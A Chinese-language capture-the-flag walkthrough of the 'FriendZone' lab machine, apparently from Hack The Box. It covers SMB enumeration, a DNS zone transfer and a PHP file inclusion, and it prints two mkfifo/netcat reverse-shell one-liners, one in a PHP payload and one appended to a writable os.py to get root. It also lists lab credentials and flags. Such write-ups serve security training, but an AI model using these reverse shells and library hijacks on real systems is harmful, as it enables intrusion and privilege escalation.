目录
•思路概述:[1]•信息收集[2]
•端口扫描[3]
•漏洞探测[4]
•smb探测[5]•web服务探测[6]•DNS服务器[7]•文件包含getshell[8]
•提权[9]
•提权到root[10]
靶机IP:10.129.93.94
kali IP:10.10.16.4
思路概述:
1.信息收集→探测到关键开放端口53,80,139,443,445
2.对smb服务扫描→获取admin登录凭证
3.对80端口测试→拿到新域名→进而想到53端口的探测→发现更多域名→加入/etc/hosts
4.对其他新域名进行探测→在administrator子域名处发现文件包含→getshell
5.通过翻文件,找到数据库连接凭证→撞密码获取初级用户friend的shell
6.通过pspy监听进程,找到计划执行的py脚本 reporter.py
7.根据reporter.py找到具有读写权限的os.py→更改os.py获取root权限.
信息收集
端口扫描
nmap -sV -sS -sC -A -p- —min-rate 5000 10.129.93.94
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
| 256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_ 256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.29 (Ubuntu)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
很明显这里开了139,445的smb服务。很大可能有问题。
漏洞探测
smb探测
smbmap -H 10.129.93.94
[+] Guest session IP: 10.129.93.94:445 Name: 10.129.93.94
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))
这里看到我们的Development有匿名读写,general有匿名读取。
nmap --script smb-enum-shares -p 139,445 10.129.93.94
Host script results:
| smb-enum-shares:
| account_used: guest
| \10.129.93.94Development:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:etcDevelopment
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.129.93.94Files:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:etchole
| Anonymous access: <none>
| Current user access: <none>
| \10.129.93.94IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 2
| Max Users: <unlimited>
| Path: C:tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.129.93.94general:
| Type: STYPE_DISKTREE
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:etcgeneral
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \10.129.93.94print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:varlibsambaprinters
| Anonymous access: <none>
|_ Current user access: <none>
这里可以看见我们有三个目录可以匿名访问
在general下找到了一个creds.txt
smbclient -N //10.129.93.94/general
get creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
拿到了一个登录凭证。
现在尝试admin登录smb。登录失败。
web服务探测
在登录失败后,我思考这个凭证是否是一个后台登录的。然后就去寻找web服务。
首先我看见开了443端口,访问发现404报错了。
然后访问了80端口。得到了以下内容。
在此我们发现了一点新的东西,这里有一个friendzoneportal.red域名是我们之前没有的。
DNS服务器
并且我们这里还想到了这里之前开了一个53 DNS服务器端口。再看看这个DNS服务器有什么东西
dig axfr friendzone.red @10.129.93.94
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
随后结合之前存在443端口404报错,那么我们猜测一下这个443端口的域名就是这个friendzoneportal.red
我们把它加入到/etc/hosts中去
echo "10.129.93.94 friendzoneportal.red">>/etc/hosts
再次访问443端口获得了good!
那么扫一下。用dirsearch走了一圈,没东西。
接下来我把上面的解析记录全部添加到了/etc/hosts里面
随后通过443端口就可以访问这些服务了。
这里administrator1的域名是一个登录页面,用前面的凭证成功登录。
文件包含getshell
这里发现有两个参数,一个是图片名,另一个是时间戳。
这里图片名的存在很容易想到文件包含。在加上之前存在一个文件上传,尝试两者结合获取shell。
测试发现这里的文件上传好像跟文件包含无法打组合拳。。。。。。那么考虑其他方式上传文件。
结合我们的SMB服务,我们可以对Development有写权限。尝试一下。
我通过SMB向/etc/Development传了一个123.jpg。尝试image_id=../../../etc/Development/123.jpg失败。
发现这个image_id这里不存在文件包含。然后思考这个另一个参数的意义。
这个看起来像一个功能点,但是不像文件,像是一个参数。我通过修改参数发现这个功能就没有了。
随后我尝试查看这个是否为一个页面,发现这个页面返回的是时间戳。也就是说,这里很可能是一个文件包含,自动添加php后缀。
为了验证猜想,我尝试使用filter去读源码。熟悉的味道!
<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];
if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
echo "<br><br><br>";
echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
if(!isset($_GET["image_id"])){
echo "<br><br>";
echo "<center><p>image_name param is missed !</p></center>";
echo "<center><p>please enter it to show the image</p></center>";
echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
}else{
$image = $_GET["image_id"];
echo "<center><img src='images/$image'></center>";
echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
include($_GET["pagename"].".php");
//echo $_GET["pagename"];
}
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>
果然,这里采用的是 pagename+.php的方式。
那么我们可以很轻易的getshell了。思路为先SMB上传,然后文件包含。
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 1113 >/tmp/f")?>
成功反弹shell。
提权
读取user.txt
a97ee122aaaba6844d5872738bf336a8
随便翻翻,在上级目录找到了mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
这个账户名为friend,跟user一样。尝试SSH连接。(老套路了。
提权到root
找不到东西。linpeas上号!
找了一圈,感觉下面三个地方可能有问题。排除之后,在server_admin下找到新东西。
存在reporter.py
#!/usr/bin/python
import os
to_address = "[email protected]"
from_address = "[email protected]"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to [email protected] -from [email protected] -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
这段代码是一个Python脚本,用于发送电子邮件。它导入了OS模块,并定义了发送邮件的地址(收件人和发件人)。然后,它尝试使用mailsend命令(注释部分的代码)来发送电子邮件。但是,由于注释掉了实际的发送命令,所以目前并没有真正发送电子邮件的操作。该脚本似乎还有一些需要编辑的内容,这可能是作者留下的一些注释。
并且我们可以从权限中看出,这个脚本是归root所有,但是改不了。根据以前的靶机经验,也就是这里的reporter.py是可以被root执行的,类似于定期执行。
find / -perm -222 -type d 2>/dev/null
这个命令是用于在Linux系统中查找具有可写权限的目录的命令。具体而言,该命令会在根目录“/”下递归搜索所有具有222(2表示写权限,2连续出现表示所有用户均具有此权限)可执行权限的目录,并将结果输出到标准输出。其中,“2>/dev/null”用于将错误输出重定向到/dev/null,以避免在搜索过程中看到不必要的错误消息。这个命令在一些情况下可以用于查找可写目录,以便进行进一步的安全分析和风险评估。
/etc/sambafiles
/etc/Development
/var/spool/samba
/var/tmp
/var/lib/php/sessions
/tmp
/run/lock
/usr/lib/python2.7
/dev/mqueue
/dev/shm
这里我们看到了python2.7 进去翻一下。
看到这里os.py很碍眼啊。
为了验证我们上面的猜想,运行pspy.发现果然root运行了reporter.py
那么提权思路很清晰了!
reporter.py中导入了os.py , os是我们可以更改的。然后root运行reporter.py即可提权
将下面的代码加入到os.py的最后等着shell就行了
import os
os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 1114 >/tmp/f')
cat /root/root.txt
53774a85ac8122c7b0a491e2977bf6cf
References
[1]
思路概述:: #思路概述[2]
信息收集: #信息收集[3]
端口扫描: #端口扫描[4]
漏洞探测: #漏洞探测[5]
smb探测: #smb探测[6]
web服务探测: #web服务探测[7]
DNS服务器: #DNS服务器[8]
文件包含getshell: #文件包含getshell[9]
提权: #提权[10]
提权到root: #提权到root
原文始发于微信公众号(靶机狂魔):靶机—— FriendZone
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论